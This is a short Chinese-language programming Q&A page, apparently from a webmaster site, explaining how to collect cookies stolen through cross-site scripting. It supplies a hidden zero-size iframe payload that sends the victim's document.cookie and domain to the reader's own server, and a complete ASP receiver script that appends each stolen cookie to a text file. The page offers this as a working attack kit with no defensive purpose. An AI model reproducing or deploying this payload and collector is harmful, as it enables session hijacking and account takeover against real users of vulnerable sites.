当前位置:编程学习 > asp >>

保存跨站获得的cookie

答案:

以下是获得cookie的语句:

<iframe width='0' height='0' src='http://yoursite/writecookie.asp?coo=" + document.cookie + "&url=" + document.domain + "'></iframe>

其中的yoursite换成你的空间地址。
在你的空间里建立一个writecookie.asp用来接收传递过来的cookie,内容如下:

<%
Dim fileObject,textFile
Set fileObject=Server.CreateObject("scrīpting.FileSystemObject")
Set textFile=fileObject.opentextfile(Server.mappath("cookie.txt"),8)
textFile.WriteLine request.querystring("url") & " " & request.querystring("coo")
textFile.close
%>

其中的cookie.txt就是记录了cookie的文件。

上一个:关于or=or漏洞问题简述
下一个:Asp组件中级入门与精通系列之五

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,